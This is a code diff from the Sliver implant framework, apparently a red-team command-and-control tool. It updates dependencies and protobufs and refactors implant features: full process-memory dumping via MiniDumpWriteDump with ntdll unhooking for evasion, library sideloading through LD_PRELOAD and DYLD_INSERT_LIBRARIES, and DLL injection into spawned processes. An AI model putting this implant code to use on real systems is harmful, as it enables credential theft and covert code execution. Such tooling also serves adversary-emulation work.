@@ -480,8 +477,8 @@ golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qx
|
||||
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.21.0 h1:AQyQV4dYCvJ7vGmJyKki9+PBdyvhkSd8EIx/qb0AYv4=
|
||||
golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44=
|
||||
golang.org/x/net v0.24.0 h1:1PcaxkF854Fu3+lvBIx5SYn9wRlBzzcnHZSiaFFAb0w=
|
||||
golang.org/x/net v0.24.0/go.mod h1:2Q7sJY5mzlzWjKtYUEXSlBWCdyaioyXzRB2RtU8KVE8=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.12.0 h1:smVPGxink+n1ZI5pkQa8y6fZT0RW0MgCO5bFpepy4B4=
|
||||
golang.org/x/oauth2 v0.12.0/go.mod h1:A74bZ3aGXgCY0qaIC9Ahg6Lglin4AMAco8cIv9baba4=
|
||||
@@ -529,12 +526,12 @@ golang.org/x/sys v0.0.0-20220817070843-5a390386f1f2/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4=
|
||||
golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o=
|
||||
golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.18.0 h1:FcHjZXDMxI8mM3nwhX9HlKop4C0YQvCVCdwYl2wOtE8=
|
||||
golang.org/x/term v0.18.0/go.mod h1:ILwASektA3OnRv7amZ1xhE/KTR+u50pbXfZ03+6Nx58=
|
||||
golang.org/x/term v0.19.0 h1:+ThwsDv+tYfnJFhF4L8jITxu1tdTWRTZpdsWgEgjL6Q=
|
||||
golang.org/x/term v0.19.0/go.mod h1:2CuTdWZ7KHSQwUzKva0cbMg6q2DMI3Mmxp+gKJbskEk=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build 386 || amd64 || arm
|
||||
//go:build 386 || amd64 || arm64
|
||||
|
||||
package limits
|
||||
|
||||
|
||||
@@ -20,6 +20,9 @@ package procdump
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"sync"
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
"log"
|
||||
//{{end}}
|
||||
@@ -66,19 +69,44 @@ const (
|
||||
S_OK = 0
|
||||
TRUE = 1
|
||||
FALSE = 0
|
||||
IncrementSize = 5 * 1024 * 1024
|
||||
MiniDumpWithFullMemory = 0x00000002
|
||||
)
|
||||
|
||||
// var bytesRead uint32 = 0
|
||||
|
||||
type WindowsDump struct {
|
||||
data []byte
|
||||
}
|
||||
|
||||
type outDump struct {
|
||||
outPtr uintptr
|
||||
bytesRead uint32
|
||||
chunks sync.Map
|
||||
}
|
||||
|
||||
func (o *outDump) reassemble() []byte {
|
||||
keys := make([]uint64, 0)
|
||||
o.chunks.Range(func(k, v interface{}) bool {
|
||||
keys = append(keys, k.(uint64))
|
||||
return true
|
||||
})
|
||||
sort.Slice(keys, func(i, j int) bool { return keys[i] < keys[j] })
|
||||
lastChunckOffset := keys[len(keys)-1]
|
||||
lastChunk, ok := o.chunks.Load(lastChunckOffset)
|
||||
if !ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("lastChunk not found")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
output := make([]byte, lastChunckOffset+uint64(len(lastChunk.([]byte))))
|
||||
for _, k := range keys {
|
||||
chunk, ok := o.chunks.Load(k)
|
||||
if !ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("chunk %d not found\n", k)
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
copy(output[k:], chunk.([]byte))
|
||||
}
|
||||
return output
|
||||
}
|
||||
|
||||
func (d *WindowsDump) Data() []byte {
|
||||
@@ -93,13 +121,7 @@ func dumpProcess(pid int32) (ProcessDump, error) {
|
||||
}
|
||||
|
||||
hProc, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, false, uint32(pid))
|
||||
currentProcHandle, err := windows.GetCurrentProcess()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("GetCurrentProcess failed")
|
||||
// {{end}}
|
||||
return res, err
|
||||
}
|
||||
currentProcHandle := windows.CurrentProcess()
|
||||
err = windows.DuplicateHandle(hProc, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -115,11 +137,12 @@ func dumpProcess(pid int32) (ProcessDump, error) {
|
||||
}
|
||||
|
||||
func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
|
||||
var err error
|
||||
dump := &WindowsDump{}
|
||||
// {{if eq .Config.GOARCH "amd64"}}
|
||||
// Hotfix for #66 - need to dig deeper
|
||||
// {{if .Config.Evasion}}
|
||||
err := evasion.RefreshPE(`c:\windows\system32\ntdll.dll`)
|
||||
err = evasion.RefreshPE(`c:\windows\system32\ntdll.dll`)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("RefreshPE failed:", err)
|
||||
@@ -129,30 +152,8 @@ func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
|
||||
heapHandle, err := syscalls.GetProcessHeap()
|
||||
if err != nil {
|
||||
return dump, err
|
||||
}
|
||||
|
||||
procMemCounters := syscalls.ProcessMemoryCounters{}
|
||||
sizeOfMemCounters := uint32(unsafe.Sizeof(procMemCounters))
|
||||
err = syscalls.GetProcessMemoryInfo(proc, &procMemCounters, sizeOfMemCounters)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("GetProcessMemoryInfo failed: %s\n", err)
|
||||
// {{end}}
|
||||
return dump, err
|
||||
}
|
||||
|
||||
heapSize := procMemCounters.WorkingSetSize + IncrementSize
|
||||
|
||||
dumpBuffer, err := syscalls.HeapAlloc(heapHandle, 0x00000008, uintptr(heapSize))
|
||||
if err != nil {
|
||||
return dump, err
|
||||
}
|
||||
|
||||
outData := outDump{
|
||||
outPtr: dumpBuffer,
|
||||
chunks: sync.Map{},
|
||||
}
|
||||
|
||||
callbackInfo := MiniDumpCallbackInformation{
|
||||
@@ -171,22 +172,15 @@ func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("Minidump syscall failed:", err)
|
||||
//{{end}}
|
||||
return dump, err
|
||||
}
|
||||
outBuff := make([]byte, outData.bytesRead)
|
||||
outBuffAddr := uintptr(unsafe.Pointer(&outBuff[0]))
|
||||
syscalls.RtlCopyMemory(outBuffAddr, outData.outPtr, outData.bytesRead)
|
||||
err = syscalls.HeapFree(heapHandle, 0, outData.outPtr)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("HeapFree failed: \n", err)
|
||||
// {{end}}
|
||||
return dump, err
|
||||
}
|
||||
dump.data = outBuff
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Dump completed, reassembling...")
|
||||
// {{end}}
|
||||
dump.data = outData.reassemble()
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Reassembly done!")
|
||||
// {{end}}
|
||||
return dump, nil
|
||||
}
|
||||
|
||||
@@ -217,9 +211,7 @@ func getCallbackInput(callbackInputPtr uintptr) (*MiniDumpCallbackInput, error)
|
||||
callbackInput := MiniDumpCallbackInput{}
|
||||
ioCallback := MiniDumpIOCallback{}
|
||||
bufferSize := unsafe.Sizeof(callbackInput)
|
||||
data := make([]byte, bufferSize)
|
||||
dataPtr := uintptr(unsafe.Pointer(&data[0]))
|
||||
syscalls.RtlCopyMemory(dataPtr, callbackInputPtr, uint32(bufferSize))
|
||||
data := unsafe.Slice((*byte)(unsafe.Pointer(callbackInputPtr)), int(bufferSize))
|
||||
buffReader := bytes.NewReader(data)
|
||||
err := binary.Read(buffReader, binary.LittleEndian, &callbackInput.ProcessId)
|
||||
if err != nil {
|
||||
@@ -267,45 +259,20 @@ func minidumpCallback(callbackParam uintptr, callbackInputPtr uintptr, callbackO
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minidumpCallback called: %v\n", callbackInput.CallbackType)
|
||||
// {{end}}
|
||||
switch callbackInput.CallbackType {
|
||||
case IoStartCallback:
|
||||
callbackOutput.Status = S_FALSE
|
||||
case IoWriteAllCallback:
|
||||
callbackOutput.Status = S_OK
|
||||
outData := (*outDump)(unsafe.Pointer(callbackParam))
|
||||
procHeap, err := syscalls.GetProcessHeap()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minidumpCallback GetProcessHeap failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
currentBuffSize, err := syscalls.HeapSize(procHeap, 0, outData.outPtr)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minidumpCallback HeapSize failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
bytesAndOffset := callbackInput.Io.Offset + uint64(callbackInput.Io.BufferBytes)
|
||||
if bytesAndOffset >= uint64(currentBuffSize) {
|
||||
increasedSize := IncrementSize
|
||||
if bytesAndOffset <= uint64(currentBuffSize*2) {
|
||||
increasedSize = int(currentBuffSize) * 2
|
||||
} else {
|
||||
increasedSize += int(bytesAndOffset)
|
||||
}
|
||||
outData.outPtr, err = syscalls.HeapReAlloc(procHeap, 0, outData.outPtr, uintptr(increasedSize))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minidumpCallback HeapReAlloc failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
}
|
||||
destination := outData.outPtr + uintptr(callbackInput.Io.Offset)
|
||||
syscalls.RtlCopyMemory(destination, callbackInput.Io.Buffer, callbackInput.Io.BufferBytes)
|
||||
outData.bytesRead += callbackInput.Io.BufferBytes
|
||||
liveSliceSize := int(callbackInput.Io.BufferBytes)
|
||||
liveSlice := unsafe.Slice((*byte)(unsafe.Pointer(callbackInput.Io.Buffer)), liveSliceSize)
|
||||
newChunk := make([]byte, liveSliceSize)
|
||||
copy(newChunk, liveSlice)
|
||||
outData.chunks.Store(callbackInput.Io.Offset, newChunk)
|
||||
case IoFinishCallback:
|
||||
callbackOutput.Status = S_OK
|
||||
default:
|
||||
|
||||
@@ -1,79 +0,0 @@
|
||||
package screen
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2020 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.IsSharedLib}}
|
||||
"bytes"
|
||||
"image/png"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
//{{end}} - End Shared Lib
|
||||
|
||||
// {{if .Config.IsSharedLib}}
|
||||
screen "github.com/kbinani/screenshot"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
//Screenshot - Not Implemented
|
||||
func Screenshot() []byte {
|
||||
buf := []byte{}
|
||||
// {{if .Config.IsSharedLib}}
|
||||
buf = DarwinCapture()
|
||||
// {{end}}
|
||||
return buf
|
||||
}
|
||||
|
||||
// DarwinCapture - Retrieve the screenshot of the active displays
|
||||
// {{if .Config.IsSharedLib}}
|
||||
func DarwinCapture() []byte {
|
||||
nDisplays := screen.NumActiveDisplays()
|
||||
|
||||
var height, width int = 0, 0
|
||||
for i := 0; i < nDisplays; i++ {
|
||||
rect := screen.GetDisplayBounds(i)
|
||||
if rect.Dy() > height {
|
||||
height = rect.Dy()
|
||||
}
|
||||
width += rect.Dx()
|
||||
}
|
||||
img, err := screen.Capture(0, 0, width, height)
|
||||
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("Capture Error")
|
||||
//{{end}}
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
png.Encode(&buf, img)
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// {{end}}
|
||||
@@ -0,0 +1,8 @@
|
||||
//go:build !windows && !linux
|
||||
|
||||
package screen
|
||||
|
||||
// Screenshot - Retrieve the screenshot of the active displays
|
||||
func Screenshot() []byte {
|
||||
return []byte{}
|
||||
}
|
||||
@@ -3,6 +3,8 @@
|
||||
#ifdef __WIN32
|
||||
#include <windows.h>
|
||||
|
||||
void StartW();
|
||||
|
||||
DWORD WINAPI Start()
|
||||
{
|
||||
StartW();
|
||||
|
||||
@@ -20,7 +20,7 @@ package syscalls
|
||||
//sys CreateThread(lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32)(threadHandle windows.Handle, err error) = kernel32.CreateThread
|
||||
//sys GetExitCodeThread(hTread windows.Handle, lpExitCode *uint32) (err error) = kernel32.GetExitCodeThread
|
||||
|
||||
//sys MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) = DbgHelp.MiniDumpWriteDump
|
||||
//sys MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) = DbgCore.MiniDumpWriteDump
|
||||
//sys ImpersonateLoggedOnUser(hToken windows.Token) (err error) = advapi32.ImpersonateLoggedOnUser
|
||||
//sys LogonUser(lpszUsername *uint16, lpszDomain *uint16, lpszPassword *uint16, dwLogonType uint32, dwLogonProvider uint32, phToken *windows.Token) (err error) = advapi32.LogonUserW
|
||||
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
@@ -58,7 +59,7 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
|
||||
}
|
||||
|
||||
// Sideload - Side load a library and return its output
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args []string, kill bool) (string, error) {
|
||||
var (
|
||||
stdOut bytes.Buffer
|
||||
stdErr bytes.Buffer
|
||||
@@ -72,7 +73,7 @@ func Sideload(procName string, procArgs []string, _ uint32, data []byte, args st
|
||||
}
|
||||
env := os.Environ()
|
||||
newEnv := []string{
|
||||
fmt.Sprintf("LD_PARAMS=%s", args),
|
||||
fmt.Sprintf("LD_PARAMS=%s", strings.Join(args, " ")),
|
||||
fmt.Sprintf("DYLD_INSERT_LIBRARIES=%s", fdPath),
|
||||
}
|
||||
env = append(env, newEnv...)
|
||||
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
@@ -55,7 +56,7 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
|
||||
}
|
||||
|
||||
// Sideload - Side load a library and return its output
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args []string, kill bool) (string, error) {
|
||||
var (
|
||||
nrMemfdCreate int
|
||||
stdOut bytes.Buffer
|
||||
@@ -91,7 +92,7 @@ func Sideload(procName string, procArgs []string, _ uint32, data []byte, args st
|
||||
//{{end}}
|
||||
env := os.Environ()
|
||||
newEnv := []string{
|
||||
fmt.Sprintf("LD_PARAMS=%s", args),
|
||||
fmt.Sprintf("LD_PARAMS=%s", strings.Join(args, " ")),
|
||||
fmt.Sprintf("LD_PRELOAD=%s", fdPath),
|
||||
}
|
||||
env = append(env, newEnv...)
|
||||
|
||||
@@ -31,8 +31,10 @@ import (
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/spoof"
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/spoof"
|
||||
|
||||
// {{if .Config.Evasion}}
|
||||
"github.com/bishopfox/sliver/implant/sliver/evasion"
|
||||
"github.com/bishopfox/sliver/implant/sliver/version"
|
||||
@@ -343,7 +345,7 @@ func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uin
|
||||
return stdoutBuf.String() + stderrBuf.String(), nil
|
||||
}
|
||||
|
||||
func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, offset uint32, args string, kill bool) (string, error) {
|
||||
func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, offset uint32, args []string, kill bool) (string, error) {
|
||||
var lpTargetHandle windows.Handle
|
||||
err := refresh()
|
||||
if err != nil {
|
||||
@@ -382,11 +384,12 @@ func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, o
|
||||
defer windows.CloseHandle(lpTargetHandle)
|
||||
dataAddr, err := allocAndWrite(data, lpTargetHandle, uint32(len(data)))
|
||||
argAddr := uintptr(0)
|
||||
if len(args) > 0 {
|
||||
argsStr := strings.Join(args, " ")
|
||||
if len(argsStr) > 0 {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Args: %s\n", args)
|
||||
log.Printf("Args: %s\n", argsStr)
|
||||
//{{end}}
|
||||
argsArray := []byte(args)
|
||||
argsArray := []byte(argsStr)
|
||||
argAddr, err = allocAndWrite(argsArray, lpTargetHandle, uint32(len(argsArray)))
|
||||
if err != nil {
|
||||
return "", err
|
||||
@@ -419,8 +422,8 @@ func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, o
|
||||
}
|
||||
|
||||
// SideLoad - Side load a binary as shellcode and returns its output
|
||||
func Sideload(procName string, procArgs []string, ppid uint32, data []byte, args string, kill bool) (string, error) {
|
||||
return SpawnDll(procName, procArgs, ppid, data, 0, "", kill)
|
||||
func Sideload(procName string, procArgs []string, ppid uint32, data []byte, args []string, kill bool) (string, error) {
|
||||
return SpawnDll(procName, procArgs, ppid, data, 0, []string{""}, kill)
|
||||
}
|
||||
|
||||
// Util functions
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v5.26.1
|
||||
// source: clientpb/client.proto
|
||||
|
||||
package clientpb
|
||||
@@ -5752,7 +5752,8 @@ func (x *MsfStager) GetFile() *commonpb.File {
|
||||
}
|
||||
|
||||
// GetSystemReq - Client request to the server which is translated into
|
||||
// InvokeSystemReq when sending to the implant.
|
||||
//
|
||||
// InvokeSystemReq when sending to the implant.
|
||||
type GetSystemReq struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
@@ -5825,7 +5826,8 @@ func (x *GetSystemReq) GetRequest() *commonpb.Request {
|
||||
}
|
||||
|
||||
// MigrateReq - Client request to the server which is translated into
|
||||
// InvokeMigrateReq when sending to the implant.
|
||||
//
|
||||
// InvokeMigrateReq when sending to the implant.
|
||||
type MigrateReq struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v5.26.1
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
@@ -131,8 +131,9 @@ func (x *Request) GetSessionID() string {
|
||||
}
|
||||
|
||||
// Response - Common fields used in all gRPC responses. Note that the Err field
|
||||
// only used when the implant needs to return an error to the server.
|
||||
// Client<->Server comms should use normal gRPC error handling.
|
||||
//
|
||||
// only used when the implant needs to return an error to the server.
|
||||
// Client<->Server comms should use normal gRPC error handling.
|
||||
type Response struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v5.26.1
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
@@ -87,12 +87,10 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
|
||||
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
|
||||
}
|
||||
|
||||
// NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
// depending on the DNSMessageType as noted below:
|
||||
//
|
||||
//NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
//depending on the DNSMessageType as noted below:
|
||||
//
|
||||
//[Type TOTP]: ID field is used for the TOTP code
|
||||
//
|
||||
// [Type TOTP]: ID field is used for the TOTP code
|
||||
type DNSMessage struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v5.26.1
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
|
||||
+542
-358
File diff suppressed because it is too large.
Load diff
+1461
-1664
File diff suppressed because it is too large.
Load diff
@@ -451,7 +451,7 @@ message Task {
|
||||
|
||||
message ExecuteAssemblyReq {
|
||||
bytes Assembly = 1;
|
||||
string Arguments = 2;
|
||||
repeated string Arguments = 2;
|
||||
string Process = 3;
|
||||
bool IsDLL = 4;
|
||||
string Arch = 5;
|
||||
@@ -543,7 +543,7 @@ message Execute {
|
||||
message SideloadReq {
|
||||
bytes Data = 1;
|
||||
string ProcessName = 2;
|
||||
string Args = 3;
|
||||
repeated string Args = 3;
|
||||
string EntryPoint = 4;
|
||||
bool Kill = 5;
|
||||
bool isDLL = 6;
|
||||
@@ -563,7 +563,7 @@ message Sideload {
|
||||
message InvokeSpawnDllReq {
|
||||
bytes Data = 1;
|
||||
string ProcessName = 2;
|
||||
string Args = 3;
|
||||
repeated string Args = 3;
|
||||
string EntryPoint = 4;
|
||||
bool Kill = 5;
|
||||
uint32 PPid = 10;
|
||||
@@ -576,7 +576,7 @@ message SpawnDllReq {
|
||||
bytes Data = 1;
|
||||
string ProcessName = 2;
|
||||
uint32 Offset = 3;
|
||||
string Args = 4;
|
||||
repeated string Args = 4;
|
||||
bool Kill = 5;
|
||||
uint32 PPid = 10;
|
||||
repeated string ProcessArgs = 11;
|
||||
@@ -647,20 +647,6 @@ message UnsetEnv {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
// DNS Specific messages
|
||||
message DNSSessionInit {
|
||||
bytes Key = 1;
|
||||
}
|
||||
|
||||
message DNSPoll {
|
||||
repeated DNSBlockHeader blocks = 1;
|
||||
}
|
||||
|
||||
message DNSBlockHeader {
|
||||
string ID = 1;
|
||||
uint32 Size = 2;
|
||||
}
|
||||
|
||||
// HTTP Sepecific message
|
||||
message HTTPSessionInit {
|
||||
bytes Key = 1;
|
||||
|
||||
+178
-10
@@ -19,8 +19,10 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"embed"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
@@ -39,6 +41,11 @@ import (
|
||||
|
||||
protobufs "github.com/bishopfox/sliver/protobuf"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/ulikunitz/xz"
|
||||
)
|
||||
|
||||
const (
|
||||
zigDirName = "zig"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -122,6 +129,63 @@ func pseudoRandStringRunes(n int) string {
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func setupZig(appDir string) error {
|
||||
setupLog.Infof("Unpacking to '%s'", appDir)
|
||||
zigRootPath := filepath.Join(appDir, zigDirName)
|
||||
setupLog.Infof("zig path = %s", zigRootPath)
|
||||
if _, err := os.Stat(zigRootPath); !os.IsNotExist(err) {
|
||||
setupLog.Info("Removing old zig root directory")
|
||||
os.Chmod(zigRootPath, 0700)
|
||||
err = util.ChmodR(zigRootPath, 0600, 0700) // Make sure everything is writable before we try to rm
|
||||
if err != nil {
|
||||
setupLog.Warnf("Failed to modify file system permissions of old zig root directory %s", err)
|
||||
}
|
||||
err = os.RemoveAll(zigRootPath)
|
||||
if err != nil {
|
||||
setupLog.Warnf("Failed to cleanup old zig root directory %s", err)
|
||||
}
|
||||
}
|
||||
os.MkdirAll(zigRootPath, 0700)
|
||||
|
||||
// extract xz archive
|
||||
if runtime.GOOS != "windows" {
|
||||
// Everything except windows
|
||||
zigXzFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "zig.tar.xz")
|
||||
zigXzBuf, err := assetsFs.ReadFile(zigXzFSPath)
|
||||
if err != nil {
|
||||
setupLog.Errorf("static asset not found: %s", zigXzFSPath)
|
||||
return err
|
||||
}
|
||||
xzReader, err := xz.NewReader(bytes.NewReader(zigXzBuf))
|
||||
if err != nil {
|
||||
setupLog.Errorf("NewReader error %s", err)
|
||||
return err
|
||||
}
|
||||
// Extract tar archive
|
||||
setupLog.Infof("Unpacking zig.tar.xz to %s", zigRootPath)
|
||||
return untarSkipTopLevel(zigRootPath, xzReader)
|
||||
} else {
|
||||
// Windows only, since it's an awful operating system
|
||||
zigZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "zig.zip")
|
||||
zigZipBuf, err := assetsFs.ReadFile(zigZipFSPath)
|
||||
if err != nil {
|
||||
setupLog.Errorf("static asset not found: %s", zigZipFSPath)
|
||||
return err
|
||||
}
|
||||
reader, err := zip.NewReader(bytes.NewReader(zigZipBuf), int64(len(zigZipBuf)))
|
||||
if err != nil {
|
||||
setupLog.Errorf("zip.NewReader error %s", err)
|
||||
return err
|
||||
}
|
||||
err = unzipSkipTopLevel(zigRootPath, reader)
|
||||
if err != nil {
|
||||
setupLog.Infof("Failed to unzip file %s -> %s", zigZipFSPath, zigRootPath)
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// SetupGo - Unzip Go compiler assets
|
||||
func setupGo(appDir string) error {
|
||||
setupLog.Infof("Unpacking to '%s'", appDir)
|
||||
